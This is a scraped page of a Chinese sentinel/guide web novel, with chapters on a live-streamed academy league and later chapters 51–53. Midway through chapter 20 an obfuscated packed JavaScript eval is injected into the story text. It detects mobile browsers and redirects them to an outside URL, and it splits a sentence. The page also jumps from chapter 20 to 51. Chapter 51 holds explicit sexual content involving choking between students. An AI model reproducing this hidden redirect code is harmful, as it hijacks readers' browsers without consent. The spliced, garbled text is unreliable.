$(''.inform'').remove(); $(''#content'').append('' 震惊的发现他们俩居然在这里都有个房间,一时间感觉自己被孤立了,心里忿忿不平,强行在剩余的房间里选了一间,自己搬了进去。 …… 黎珞言起身去了他自己的房间,身上被汽水弄得黏糊糊的,特别不舒服,他要去找身衣服重新换上,进去前还不忘叮嘱奚元把地面打扫干净。奚元自知做了错事,一一应下。 * 等待了很久的联赛终于开始了,队伍名单在前一天全部报齐,所有人都按着要求在训练场上集合。 参加联赛的队伍并不少,迎着大太阳在训练场上站着。 底下不少学生被晒得脸色不太好,眼睛都不太能睁开,尤其是来自白塔的人。 一般来说,向导的集体活动或者讲话都在室内展开,很少有这种听个讲话还要晒太阳的情况。还有几个身体不大好的,唇色都有些发白了。 台上的老师扫了眼下面的人,厉声道:“都站好了!” 下面瞬间噤声,一个个都尽了最大努力站得端正起来,这下看起来队伍至少有个正式的样子了。 “哨兵和向导多数集中在联邦军校与白塔当中,普通民众对哨兵向导的了解仅仅只有少部分信息,对于污染区的情况也不甚了解,基于以上情况,赛事负责组经讨论决定,本次赛事全程以直播的形式同步到星网上。” 老师笑起来,“我很期待你们的表现。” “第一阶段赛:磨合。我知道你们当中的有些队伍是为了联赛才集合在一起的,彼此之间完全不了解,这一阶段是为了增加你们之间互相了解的程度,加强信任和感情。我真切地祝福你们,能够在比赛中成为很好的朋友。” 易谌垂下眸,第一阶段的规则很温和,听起来只是作为一个引子,真正的重头戏大概落在了后面的阶段赛。 说到这里,老师稍微顿了一下,“本次联赛,每个队伍初始人数为4人,比赛过程中队伍人数不能超过7个人……听见这句话,你们应该也猜到了,比赛过程中每人拥有两次转化阵营的机会,也就是说,你的队友并不一定一直是你的队友。” 场下忍不住发出惊讶的呼声,窃窃私语起来。 “这不是团队赛吗?” “第一阶段不是培养默契和信任吗?我去!我和我队友这才第一次见面,这个转化阵营的规则一出,还建立默契呢,这怎么默契?!” “好了,这下不光要提防对手了,还要提防队友。” 一个长相俊朗,气质轻佻随性的单眼皮青年举手大声提问,声音掷地有声:“老师!如果我的队友暗自转化了阵营,我能知道吗?” 他问出了绝大多数人心里想的,几乎所有人都盯着台上的老师,等着他回答。 “当然——不会。”老师笑眯眯地回答,意料之中地看见场下的哀声连绵,怨载一片,然后笑容忍不住更大了。 他清了清嗓,继续道:“每个队伍会得到一个计分器,计分器会记录你们的分数,并实时反馈各队伍排名情况。比赛没到最后,谁也不知道最终结果,所以,阶段性排名仅供参考。” 小型追踪式摄像头就位,直播开始。 20.第 20 章 直播开始。星网直播软件上先是显出一片蔚蓝天空,一个俯视的大视角。刺眼的阳光铺洒在操场上,屏幕前的观众似乎都能透过这个画面闻到操场的胶皮味,以及阳光扬起灰尘的闷热气息。 台下是一个个微微低着的脑袋,站得整整齐齐的,微型摄像头飞近之后就会发现一个个脸被太阳晒得有些发烫。 【请一定要支持黎队好吗?好的!】 【镜头在乱飞什么??请把镜头对准我男神的脸啊!能不能有点水平】 【首席首席!就这样冷静稳重地赢完整场比赛好吗】 【我靠靠靠,看天一大佬胜券在握的模样,这次对冠军一定是势在必得了!】 【??天一缠的那个绷带都快把脸挡完了,脸都没露看得出个鬼的胜券在握啊】 【前面的别吹了,我只说一句,尹祁青目前参加比赛从无败绩哈】 【天看起来好热啊,感谢联赛,感谢命运的馈赠,让我无端放了天假】 【就算在宿舍里也不要忘记拿起终端给3515届哨兵之光加油好吗?】 直播间里涌进来的第一批观众便是一直守着开播的联邦军校生和白塔向导,刚进来就开始疯狂刷屏发弹幕,像水军似的,被人工智能检测到之后封了几个ID之后,这群人总算老实了不少。 总算有真正第一次关注联赛的联邦普通民众点了进来,看着晃得人眼睛疼的画面,皱了皱眉,发出缓缓飘过屏幕的弹幕。 【哨兵向导咋长得都这么高啊?】 【难道说我每天吃营养液,他们每天吃生长素吗?】 黎珞言被太阳晒得眼皮轻轻耷拉下来,他盯着脚尖,台上的老师还在嘚啵嘚啵说话。 他发着呆,视线又开始往旁边瞥,四处乱看,突然扫到一个穿着一身黑的人。那人左手插兜,站姿懒散,右手小臂以及半个手掌都缠着白色绷带,连脸上都缠着绷带,可以说只露出了一双眼睛,露肤度约等于0。 不热吗? 黎珞言热得都想要吐舌头散气了,但这人穿着一身巨吸热的黑、还裹得这么严实,却气定神闲的。 那个绷带怪人是个哨兵,五感较常人更加敏锐,他察觉到了似乎有道视线一直在看着,但却没有恶意。他侧过头来,寻找那道视线的主人。 ——是个黑发绿眸的少年,长相很俊,脸上没什么表情,看人时就直勾勾看着,也不避讳一点,见他转过头来看到自己了,便像什么也没做似的,极其平静地收回了视线,丝毫不心虚,继续垂眸盯着自己的脚尖看。 绷带怪人若有所思,眉头轻轻挑了一下。 黎珞言盯着地面看了会儿,注意到那人收回视线之后,他缓缓呼出口气。 ……啊,好尴尬,偷看别人被抓了个正着。 但上面还在讲话,他又开始昏昏欲睡了,为了阻止自己在直播下站着睡着,他不得不视线到处乱飘,看看有没有什么很新鲜有趣的事情。 嗯,是不得不! 接着他就瞟到了同样气定神闲的易谌。 易谌站得端正,他很像一棵笔直坚韧的树,无论在什么情况下都保持着这样的状态。 但他不光是没有被晒得心情烦躁,甚至脸上也一点汗都没有,神色平静又淡然,始终看着台上,似乎是在认真倾听。 黎珞言就这样一直盯着他的脸看。他在认真地思考,易谌为什么不热,怎么不流汗,嗯……不对,易谌的耳朵是有点红的,这应该是被晒的吧。那怎么只有耳朵被晒红了? 被他紧盯着看了好一会儿,易谌终于装不下去镇定了,他侧过头,压低嗓音,有些不自然地说:“你别看我了。” 黎珞言抿了抿唇,慢吞吞“哦”了一声,然后转回头看向台上,作出一副认真听讲话的模样,嘴上却在悄悄问他:“为什么啊?” 易谌闻言:? 他感觉自己听了个莫名其妙的问题,一时间竟然不知道怎么回答,于是反问回去:“你看我干嘛?” 黎珞言呼出口气都是热的,他微微张开嘴,舌尖轻轻抵住了牙,眼睛被晒得眯起了点,小声说:“我好热啊。你怎么不热?” 易谌这下转过头正正看向了他。 哨兵额间凝着汗珠,黑发被浸湿了点,抿着唇表情有些冷,看上去还有些不好接近,像是人狠话不多的那种类型。他本来有着一双很容易让人放下戒备的漂亮眼睛,但现在眯起了眼,眼皮挡住了瞳孔,就大大削减了那份柔和的气质。 易谌低声说:“伸手。” 黎珞言有些发愣,听话地抬起手,缓慢地朝他靠近。 他们俩是并肩站着的,这种小动作不容易被人看见。 易谌抓住了他的手,在相触碰的那瞬间,他向来没什么波澜的表情罕见地动了一下,眼睫颤得厉害,垂下的眼皮完全挡住了眸里的神情。 他五指僵硬,像被冻住了似的,非常轻地抓握住了对方的手,似乎只是虚握着,但手指在颤动时又会不自觉地碰到另一个人手背滚烫的温度。 黎珞言讶异地低头看着他们轻轻相握的手,歪了下头。 比“易谌怎么摸他手啊”这个想法来的更快的是“好凉快”。 黎珞言眼睛都亮起来了,冰凉的温度从手背传给手臂、再传到其他的地方,他感觉自己整个人都舒服了。易谌的手冰冰凉的,简直比雪糕的降温效果还要好。 他想着易谌都主动碰自己了,是不是能够接受触碰了,于是试探性地收拢了五指。 原本手还不自然颤动的易谌整个人立马一动不动了,就像僵硬了一样。 黎珞言见他不动了,便自觉他没有出现特别抵触的反应。于是立刻放下了心,手掌反过来和对方掌心相贴,完全握住了对方的手。 黎珞言弯了弯眼睛,直白地表达自己的想法:“你冷冷的,摸起来好舒服。” 易谌耳朵被晒得更热了,他抿了抿唇,似乎是想说什么,但嘴唇动了动又闭上了。手腕的衔尾蛇吐出舌头,拖着尾巴,顺着他们相握的双手缓缓爬过,黎珞言的视线就跟着蛇移动,看着那条小蛇爬到自己手腕上调整了下姿势。 蛇信子轻轻舔舐过近在咫尺的皮肉,青紫色的血管在一层白皙皮肤下清晰可见,它吐着舌头一遍遍舔过那里,张开嘴时隐隐约约露出尖锐的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604634|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙齿,让人忍不住去想是不是含着什么致命的毒素。 寒冷冰凉的气息蔓延开来,又带着能让人头皮发麻的感觉。 黎珞言伸出另一只手点了点它的脑袋,蛇便顺着力度仰起了头,追逐着去舔他的手指,细长的舌头滑腻地扫过指腹,缠上他的手指。他弯了眼睛,慢慢悠悠地摸它,摸得蛇舒服极了。 他还想再摸,易谌却立马抓住了黎珞言的手,别过头,一个字一个字往外面吐:“那是我的精神体。你……你别摸了。” 黎珞言眨眨眼。摸别人精神体好像是不大好……但是他们订婚了。嗯……但是摸别人精神体不太好……可是真的很凉快…… 他犹豫地想了一会儿,最后还是很听话地收回了手。 蛇懒懒散散地在他手腕上盘了起来,像个黑色手环一样圈在他的手腕上。 易谌松开了他的手,但凉意仍然在持续传递给黎珞言。小蛇像个小冰块似的,盘在他手腕上,自动就起到了给他降温的效用。 “我是要,给你这个,”易谌喉结滚动了下,依旧看着台上,像是非常平静,但语气中又不自觉地显出几分不平静出来,为自己正名,“不是故意和你牵手。” 黎珞言:“哦——” 易谌看着台上,沉默了好一会儿,突然又转过头来淡淡补充一句:“真的是这样。” 黎珞言不知道他为什么突然又强调一遍,但还是理解地点点头,真诚回道:“嗯嗯,我相信的。” 易谌停顿片刻,故作平淡地也点了点头,语调如常:“那就好。” 摄像头飞来飞去,主要是在拍摄全景。人多的情况下,全景便能直观地让屏幕前的观众感到震撼。 但还是有人观察到了台下有些人的小动作。 【不是,怎么有人在下面悄悄牵手啊??】 【什么?!可恶!联赛不是给人谈情说爱的地方(ps:不是酸了!】 【截屏出来发论坛里!我将严厉谴责这种行为!!联赛没有爱情!!】 【哦——是黎队啊。那没事了(挠头)】 【前面的人别以为我不知道两条都是你发的,啧啧,《嘴脸》】 【都热成那样了,牵个手怎么了!怎么这也有人管!】 仿佛过了一个世纪,台上人终于讲完话了。 每个人都按着要求站在密闭房屋建设外面排好了队。 黎珞言领取了自己的腕表以及小组的计分器。 计分器是每小组一个,每个计分器形态不完全一样。每组在一开始选定形态,可以用来看每个组的实时排名。 其他功能未知。 腕表是每人一个,台上老师在讲规则的时候说过,腕表可以查看自己所在队伍,另一个功能即是在腕表主人濒死或主动选择出局时,将腕表主人直接传送到医疗舱,但这也意味着他这一局放弃了比赛资格。 其他功能未知。 黎珞言选定的计分器是一个小型徽章,他揣到了外套口袋里。 他沿着通道走去,走到一个房间门口处停住,敲响了门。 里面传来声音:“请进。” 50-60 第 51 章 “我还会乱摸你的尾巴。…… 易谌胸腔剧烈起伏着, 脖颈被面前的人紧紧扼住,缺氧的窒息感包裹着他,吸收不到新鲜空气, 肺渐渐变得有些沉重。 黎珞言的声音落在耳朵里有些失真。 呼吸受阻使得他其实不太能够完全理解黎珞言所说的那些话的含义, 他的眼睛紧紧盯着黎珞言, 看着他澄澈的宝石一样的绿色眼睛,看着他冷冽脆弱的神情,也看着他轻轻颤动的眼皮…… 易谌艰难地动了动手指,凭着一种本能,抬手扣住了黎珞言的后脑勺,手指下意识收拢攥住了手下触碰的头发。 黎珞言微愣了一下,侧头想要看过去, 然而下一秒, 还在被他扼住喉咙的向导就猛地凑近了他,一瞬间扬起的风将两人额前的碎发都拂了起来。 被对方沉静的黑眸近距离盯着, 黎珞言手上的力下意识松了一瞬,仅仅是一瞬的时间,却被易谌抓住了机会。 易谌扣住他的后脑勺,手上的力气恢复了些, 带着他往后仰。 他的后背重新重重撞上树干, 头却往前凑, 准确无误找到黎珞言的唇, 然后使劲咬了上去。 脖颈上的五指又收紧了,这一次更加用力, 似乎是要捏碎他的颈骨,脖颈下留下来清晰的指印。 易谌除了轻轻眯了下眼睛外,便没有做出任何反应了, 他看起来仿佛没有被脖颈剧烈的疼痛的影响,反而专心致志地啃咬着对方的唇肉,蛇一样冰凉的视线落在黎珞言的脸上,却滚烫灼热得惊人。 黎珞言燥郁的情绪被突如其来的亲密动作打断,眉头拧起,他偏过头试图躲开对方咬他的动作,却被易谌看出了躲避的意图,唇被毫不留情咬破,疼痛感即刻绽开。 黎珞言抬眸看向他,易谌朝他挑了下眉,毫无悔改之意的模样。 然而易谌挑起的眉毛还没落下,就被掐着脖子狠狠掼到了树干上。 “嘶。” 易谌这下松开了嘴,后脑勺同时撞到坚硬粗糙的树干上,疼得他倒吸一口冷气。 黎珞言拧着眉望向他,一副冷冰冰的神情,五官精致却锋利,冷下脸来不说话时倒真有几分威慑人的气场。 他掐着易谌的脖子,看着易谌的脸因缺氧而漫上绯红,那双向来没什么情绪的黑眸眯起又缓慢睁开…… 黎珞言忽的凑近吻了上去,同时松了手,手顺着脖子往后摸,虚抓着易谌的后颈。 易谌瞳孔猛地放大,喉咙被松开后,他迫不及待地汲取黎珞言口中的空气,脸上的绯红愈发重了,连成一片,脖颈也漫上了醉酒一样的红。 舌头也伸进去搅,动作有些凶猛蛮横,半是教导半是掠夺地撬开黎珞言本就没有用力闭合的牙关,接着就抵了进去。他的喉结不断滚动着,不住吞咽着从对方口腔里汲取的口水,还有些来不及吞咽的,只能顺着啃咬的地方淌下。 没能被舌头卷下的液体暴露在了空气中,附着在滚烫的皮肤上,有着不逊色于此温度的热意。易谌的眸里闪过一丝遗憾。 黎珞言眼睛快速地眨着,易谌亲得他都快要缺氧了,他报复性地用尖牙咬破了牙下抵着的唇肉,然后趁着易谌吃痛缩回舌头的瞬间,他也往后移开了。 他侧过头快速呼吸几下,补充方才被抢走的空气,然后慢吞吞活动了下酥麻的嘴巴。他又想了想,抬起手,用易谌的外套袖子擦了擦嘴巴上的水渍。 易谌仰靠在树干上,脸上的红还未褪去,眸里满是连绵的情.欲,脖颈上留下了清晰指印,嗓音沙哑得像是被砂砾磨过一样:“清醒了?” 他抬眸,黎珞言突然走到了他面前。 易谌的眼睛忽然睁大了,堪称茫然地眨了两下。 黎珞言抬手,用袖子把他的嘴巴也认认真真擦了一遍。他神情十分认真严肃,仿佛在做正事。 但让易谌怔住的不是这个,他任着粗制外套糙糙擦过自己的嘴巴,眼睛直勾勾盯着黎珞言头顶冒出来的兽耳。 他忍不住伸手摸了摸毛茸茸的耳朵,声音又低又哑:“小狮子,你耳朵冒出来了。” 他一说话喉咙就疼得厉害,就算看不见脖子此时的模样,也能猜到肯定是布满惨不忍睹的指痕了。 但他忍不住翘了翘唇角。……失控了之后怎么就开始乱抓人呢? 黎珞言扭过头努力往后面看,长长的尾巴从后面绕过来,缠住了易谌的小腿。他瘪了下嘴,有些困惑:“我尾巴也出来了。” 黎珞言小声嘀咕着:“我尾巴怎么出来了?” 易谌的手轻轻搭在狮子耳朵上,认真思索一会儿,问他:“是不是太爽了?” 黎珞言抬眼看他一眼,然后又别开眼,耳朵晃了晃:“才没有。” 易谌似乎有些惊讶地“诶”了一声。 黎珞言立马就被吸引过来,眼睛亮亮地看向他,一会儿摸摸自己的耳朵,一会儿又摸摸自己的尾巴,不放心地问:“怎么了?” 易谌一副严肃的模样,垂眸盯着他看:“你鼻子怎么变长了。” 黎珞言一时没反应过来,以为自己这次产生了新的变异,很好骗地就抬手去摸自己的鼻子,奇怪道:“没有啊。” 他怎么没觉得鼻子变长了? 易谌舌尖抵着牙,唇角被他努力压平,但黑眸里是掩饰不了的笑意,一本正经地说:“你不知道说谎是会让你鼻子变长的吗?” 黎珞言手还摸着鼻子,反应过来了,抬眸看他:“你诓我?” 易谌学着他每次眨眼的模样,无辜道:“是吗?难道传说是假的?” 黎珞言吐字慢吞吞的:“你欺负人。” 易谌仰了仰头,指了指自己的脖子:“谁欺负谁啊?” 他一副气定神闲的模样,然而下一秒他的镇定就被打破了。 黎珞言的手扯着他的裤子往下拽。 易谌低头盯着他的手,更加深的红从脸颊蔓延到耳朵,又往下延伸。 黎珞言只是在吓唬他:“在直播,我要挡我的耳朵,你牺牲一下。” 他并未用力去扯,这种玩闹似的力道根本就扯不下去。但易谌的手下一瞬就覆在了他的手上,带着他去摸。 黎珞言的手指一顿,试探性地碰了碰,然后那东西就跳得更厉害了。像是下一刻就能挣脱束缚跳出来似的。 易谌的神情有些难耐,呼吸声极重,嘴上故意道:“这不是结婚之后才能做的事吗?未婚夫。” 黎珞言这回不被他绕进去了,他捏了捏手下的东西,听到易谌疼得闷哼一声,才慢吞吞指责他:“因为你故意占我便宜。” 易谌皮肤滚烫,他哑声道:“你给我掐坏了我以后怎么用?” 黎珞言就眨眨眼睛,一副没关系的阳光表情:“唔……我的还是好的。” 易谌:?他们说的是一回事吗? 黎珞言歪歪头看他。 他一歪头,耳朵也跟着歪了歪,“而且你按着的是我受伤的手。” 易谌弹簧似的把手抬了起来,眼睛立刻目不转睛盯住他的手,语气中凝着几分紧张:“还没上药……现在我给你上药。” 黎珞言戳了戳他还挺着的东西,另一只手轻轻挠了挠脸颊:“我自己可以上的。” 他语气认真:“你有别的事情要做的。” 易谌“嗯?”了一声,等着他给自己分配任务。 “你要一直摸自己,这样才能屏蔽直播。”黎珞言教他,抓着他的手往上面放,“隔着裤子也可以。” 易谌沉默了几秒,开口:“你知道这样我很像变态吗?” 黎珞言自告奋勇:“那我帮你盯着周围,有人来就提醒你。” 他们对视了一会儿,最后易谌率先绷不住移开视线,勉强地“嗯”了声。 这种活计,别人给自己做是一回事,自己做是一回事,在另一个人的注视下自己做又是另外一回事。 易谌半阖着眼,视线紧紧盯着坐在自己面前的黎珞言,只是隔着裤子简单碰着。——能把直播屏蔽系统糊弄过去就行,真让他在露天场地搞这个,还真搞不出来。 黎珞言坐在地上,右手袖子被抹得很高,手臂上一道渗人的划痕已经凝血了,但周围一片黏连的血迹,看起来极其可怖。 他一边给自己抹药,一边小声吐息着,没有呼痛,只时不时发出极其细微的嘶声。 易谌盯着他止不住晃动的耳朵看了好一会儿,想,棕色的绒毛摸起来应该会很舒服。 他觉得自己看得太久了,又往别的地方看,忽然注意到了黎珞言的尾巴,他尾根的毛炸起,像钢针似的炸立。 易谌冷不丁开口:“你尾巴炸了。” 炸了?爆炸了吗? 黎珞言的尾巴随着他的话晃动起来。这不是还在吗? 他的尾巴不听使唤地去易谌的手,一不小心扫过那处,易谌身子猛地弓起,猛烈咳嗽起来。 “炸毛了。”易谌解释。 黎珞言把头扭过去,努力想要看到自己的尾巴,他两只手都很忙地动了动,但突然发现腾不出手,于是忙碌了几秒,两只手又同时停下来了。仿佛很有感悟地叹了口气:“是有点……” 易谌道:“其实还有个一举两得的办法。” 黎珞言虚心请教:“什么?” 易谌一本正经:“我一边亲你,一边给你上药。就没那么疼了。” 黎珞言想了想,觉得他说得还是蛮有道理的。但还是有点犹豫,撑着地,脸凑近了易谌,慢悠悠地咬字,认真地说:“那我以后离不开你了怎么办?” 他微微垂下眸,视线扫过易谌脖颈上青紫色的指痕:“你真的不觉得我很坏吗?而且……” 他想起以前有人评价他的话,喃喃道:“我是会伤人的怪物……” 易谌张了张口,展示了下自己下唇被咬过的痕迹,似乎若有所思:“是指故意咬我的嘴巴吗?” 黎珞言抿了抿唇,这个他才不认:“你也咬我了。” 易谌抬手弹了下他晃动的狮子耳朵,见他拧眉看过来,便立刻自我反省:“那我也好坏。我还不经允许就摸你耳朵。” 他边说边做,手抓着黎珞言的耳根往上捋起。他的耳廓很薄,短硬的绒毛扎着他的手,摸到耳背时就变得很柔软了,棕色绒毛下是淡淡的青紫色血管,随呼吸微微搏动着。 黎珞言偏头靠过去,湿热的吐息打在易谌手臂上。他无意识地用鼻尖缓慢蹭了蹭易谌的手臂内侧,就跟撒娇似的。 易谌道:“我还会乱摸你尾巴。” 他的手陡然握住了钢鞭似的尾巴根部,顺着往下摸。 他的手法并不娴熟,但格外细心,每一处都细细摸过,照顾到每一块神经。 尾巴也明显并不抗拒他,反而亲昵地贴着他。 黎珞言把下巴趴在他肩上,突然颤了一下,耳朵蹿上一抹暧昧的红。他轻轻咬了咬易谌薄薄的耳垂,没有用力,只是像小动物磨牙似的。 一边咬他,一边小小声嘟囔:“下回就该我摸你了。”也不知道是在对自己说,还是说给易谌听的。 第 52 章 “我刚好要把腕表还给梨…… 【临时通知:此任务为该阶段性比赛的最后一个任务, 请各位同学注意实时积分排名。温馨提醒,联赛中有感染者出现,请各位同学与其他人保持距离!发现同行者出现异常状况时, 立马通过腕表离开联赛! 再强调一遍:如遇同行者出现异常状况, 立即离开联赛!】 同一时间, 所有人的腕表上都收到了这条信息。 黎珞言和易谌现在又回到了营地里,在翻找有没有能够遮住易谌脖子上痕迹的东西。 黎珞言手上带着的还是易谌的腕表,腕表震动了下。他低头看完这条消息后,就抬手让易谌看,有些遗憾地说:“怎么都没有说斩杀感染者可以获得积分奖励……” 他们刚刚可是解决了四个感染者。 易谌想了想,道:“至少淘汰其他人出局能有积分奖励。” 他说完,黎珞言眼睛稍微亮了亮, 扒拉他的手, 探着头去看计分器上他们的排名。 “啊——”黎珞言拖长语调。 易谌:“怎么了?” 腕表太小了,黎珞言的脑袋把他的视线挡得严严实实。易谌盯着他的头顶, 他忽的一下抬起头来,如果不是易谌反应及时,下巴就差一点撞上他的头了。 黎珞言可怜巴巴地说:“没有加分。” 他说完之后,又猜测道:“可能因为他们没有出局?我们把他们的腕表取下来了。” 提到这个, 易谌就想起那个投影短视频以及那张写着英语单词的纸条。 设计让感染者进入联赛的, 和写下那张纸条的, 是同一个人吗? 而且那个视频里播放的是黎珞言小时候的录像, 所以是和他认识很久的人吗?…… 易谌绷着一张脸,脑子里却一瞬间闪过很多想法, 最后绕来绕去,又变成了一句—— 好可爱。 他忍不住伸手按了按黎珞言的头顶,不久前这里还冒出了耳朵, 总小幅度晃动着,细小的绒毛都会抖个不停。他视线冷不丁往后瞥了下,然后又若无其事地移了回来。 还有尾巴,摸使劲了就会颤抖一下,还会用尾巴勾他,就跟撒娇似的。 ……好可爱。 “嗯?”黎珞言见他半晌没反应,歪着头在他面前晃了晃,“你在想什么?” 易谌立马收敛了思绪,脸上满是严肃正经:“在想之前的事。出去再说。” 现下是在直播,很多话不适合在这个时候说,他也确实有很多事情想问黎珞言。 “哦——”黎珞言点点头,又埋到那堆乱糟糟的物资里翻找,一边安慰他,“你是不是被感染者吓到了,你别害怕,我会保护你的。” 易谌在他背后看着他,听见这番话,唇角不自控地往上扬,冷峻紧绷的眉眼都舒展开来,眸子专注望着他。 黎珞言在没有人打断的时候,就会自顾自说很多话,想到什么就说什么,也不知道他是在自言自语,还是真的在和旁边的人说话:“应该是星盗搞出来的。星际海盗……很坏的,哎,怎么没有高领的衣服?围巾也没有……要遮一遮脖子……疼吗?” 易谌跟着他的思路跑得有点远了,突然这道声音戛然而止了,黎珞言扭过头,一双碧绿眸子望了过来。 黎珞言刚刚在找东西,因此蹲在地上,仰着头看他。 易谌也望着他,立马去回想刚刚黎珞言的最后一句话是什么。 他竟然产生了几分考试般的紧张感,努力去想戛然而止前的是哪一句。 被这样盯着,脑子里居然瞬间一片空白了。好不容易想起来后,他就干巴巴地说:“不疼。” 如果不是因为指痕布在脖颈上,可能会引起其他人的误会和猜测,他倒是没有什么想要遮掩的想法。 黎珞言视线往下移,盯住他脖子上显得有些可怖的痕迹,眨了眨眼睛,再次确认:“真的吗?” 易谌淡淡:“真的。” 他顿了下,又补充道:“现在只能想起你舔我嘴……” “我知道了!”黎珞言突然大声。 他们对视几秒后,黎珞言扭回头,黑发遮掩下耳朵尖红透了。 易谌弯了唇,怎么突然害羞了?在他印象里,黎珞言不是会害羞的性子。 他想起黎珞言被揉了尾巴,抱着他,趴在他肩膀上蹭来蹭去的情景了。 一瞬间,易谌脑子里忽然又空白了,只剩下四个字——他,好,可,爱。 过了一会儿,黎珞言站起身,转过来,手里握着个小方盘,嘴里叼着根小饼干,吐字含糊不清:“看我找到了什么。” 他齿间咬着饼干,低眸把那个小方盘打开。 “你在吃什么?”易谌伸手抓住他嘴里饼干的另一端,往外扯了扯,黎珞言下意识地护食,一不小心使劲咬断了,外面那一大半都被易谌顺利扯走了。 黎珞言目不转睛盯着那大半截饼干,嘴巴瘪起。 易谌面不改色把那半截扔进了自己嘴里,嚼吧嚼吧。 黎珞言目光追随,直到再也看不见了,才不情不愿地收回视线。 “我在那里找到的。”黎珞言指了指地上,顿了顿,问,“你也要来一根吗?” 里面还有那么多,怎么还从他嘴里抢? 易谌差点就要以为是他在地上捡着吃的,咬饼干的动作都停了下,仔细一看发现是装在盒子里的,才咽了下去。 黎珞言叹了口气,把方盘往桌上一放,蹲下身,重新拿了一根。他这次长记性了,没有再叼在嘴间,而是折成几小段,全部扔进了嘴里。 “你现在不许动了。”黎珞言把易谌的肩按住,他说话慢吞吞的,力气却很大。 易谌依着他的话不动了,肩膀被摁着也确实动不了。 黎珞言不太熟悉地用手指套上粉扑,沾了沾方盘里的粉,又扑在易谌的脖子上,易谌被呛得别过头去。 半晌,黎珞言凑近仔细看,然后伸手摸了摸他的脖子,指腹按上去,颈侧皮肤瞬间绷紧了,手指之下脖颈青筋剧烈跳动着。 黎珞言认真发表意见:“完全没有遮住欸。” 过了会儿,他就从物资里又翻出了一管膏体,挤在手上,就往易谌脖子上抹。 他手法不能说是娴熟,只能说是一窍不通,完全就是往上面糊,抹也没抹开,偏偏他还一脸认真像是在专心做事的模样。 易谌用镜子照了照自己脖子,看着上面斑驳的颜色,立马伸手抓住了黎珞言的手腕:“我自己来就行。” …… 易谌动作利落地把脖子上的痕迹完全遮住了。 黎珞言就坐在旁边,眼睛一眨不眨地看着他的动作,边看边学,把这些都记在了脑子里。 易谌一侧头,看见他在看着自己,便稍微弯了眸子:“嗯?” 黎珞言煞有其事点点头:“你好厉害。” 易谌不是个对别人夸奖感兴趣的人,但被黎珞言夸了一句,心里莫名情绪有些起伏。 他刻意地绷着一张冷脸,看起来很是高冷,道:“我可以教你。” 黎珞言又真的是什么都愿意学,闻言立马就点点头,弯起眸子:“好。” * “有感染者出现。” 温暻看着腕表的消息,“难道又是星盗那边做的?” “我记得联赛开始前,每名参赛成员都需要进行体检吧。能够把感染者塞进来……难道现在已经有了能够让感染者蒙混过关的技术了?”岑洺漫不经心地。 尹祁青抱臂站着,闻言敲了敲他的头。 岑洺往旁边躲了一下,啧了一声:“尹祁青你没规矩了啊。” 尹祁青刚刚准备说话,就被这句噎了下,看向他:?什么毛病? 岑洺补充道:“好歹我也比你大几天,你对哥放尊重点啊。” 他又向温暻寻求认可:“温暻,你说是吧。尹祁青这小子是不是得管我俩都叫哥。” 温暻笑了笑,面色温柔,金发仿佛闪着粼粼碎光:“没关系啊。就算让我叫他哥我也不介意的。” 尹祁青脸色瞬间就跟吃了土一样难看。温暻打得什么主意他还能看不出来吗? “不需要。家里已经有弟弟了。” “哦?”岑洺若有所思,“那你们家是不是还缺个哥哥?” 尹祁青从上到下扫了他一遍,然后淡定吐出两个字:“卡颜。” 岑洺平生第一次被丑拒了,不怒反笑,挑眉:“你都能进我进不了?那我看也不卡颜啊。” 尹祁青懒得和他打嘴仗:“你自告奋勇去夺计分器,结果我怎么连计分器的影也没看着?你怎么还这么理直气壮的?” 温暻恰好在这时叹了口气:“换成我可能已经羞愧得不好意思说话了。” 岑洺挑眉,被尹祁青说两句也就算了,毕竟尹祁青的确是他们这一届实力最强的哨兵。但温暻一个没什么攻击性的向导也跟着添油加醋就让他有些不服了:“你……” “你生气了吗?”温暻嗓音温柔,浅色的眸子浸着温和的笑,“抱歉,我说话不太注意,下回我会回避这方面的问题的。” 他眸光真诚,讲话又体面得令人摘不出错处:“不过我也不知道会不会不经意间又在什么地方冒犯到你。毕竟我真的想不出来,什么样的人才会把别人的个人腕表误当成计分器偷回来。” “可能偷的时候没太注意?” “偷”这个字用得太难听,岑洺眸里笑意淡了,嗤笑一声:“温首席这么有实力,不如自己去拿?” 温暻微笑着:“我刚好有这个打算。” 尹祁青皱了皱眉,制止了他俩无意义的吵架,重回正题:“只能说星盗里有人混进了联邦内部,而且地位还不低。” 他正色道:“我刚好要去找梨子,把腕表还给他。” 他停顿了一下,看向始终带着浅浅笑容的温暻,似乎有些不情愿,但还是保持着正常语调:“你也一起去吧。” 第 53 章 无名指上的戒指。 尹祁青和温暻到达的时候, 黎珞言和易谌刚好准备出去。 黎珞言刚从帐篷里探了个头出来,一抬眼瞥到来人,动作流畅地往里面一缩, 帐篷拉链一拉, 把人暂时挡在了外面。 易谌正准备跟着他一块出去, 结果黎珞言一声不吭就退了回来,易谌的鼻子险些直愣愣撞上他的后脑勺,还好及时往后躲开了。 “要打架了。”黎珞言浑然不觉自己和易谌之间的距离靠得很近,眉头一拧严肃地说。 每次和黎珞言贴得近了,易谌的脑子就有点短路,复读机一样重复了一遍“要打架了”,然后才反应过来:“为什么?” 黎珞言摸了摸自己腰间重新配上的匕首, 确认武器在之后, 他稍微放松了一点。闻言叹口气,嘟囔着:“因为他们太坏了。” 他又对易谌说:“你快准备一下, 我们要正面迎战了。” 易谌:?准备什么? 易谌想了想,准备了下自己即将打架的心态,接着学着黎珞言的模样,煞有其事地点了点头。 黎珞言倏地弯了眸子, 转回身去拉帐篷的拉链。 刚一拉开拉链, 就涌入了明媚的光线, 以及一张放大的俊脸。 这是不是也太过于正面迎战了…… 黎珞言眨了眨眼睛, 喊了声:“哥。” 尹祁青应了声,往后移了点, 给他让开了出来的位置。 黎珞言从里面钻了出来,接着易谌也从里面钻了出来。 莫名就形成了一个对立的站位,看起来下一秒就要开启混战了。但眼神交汇之间, 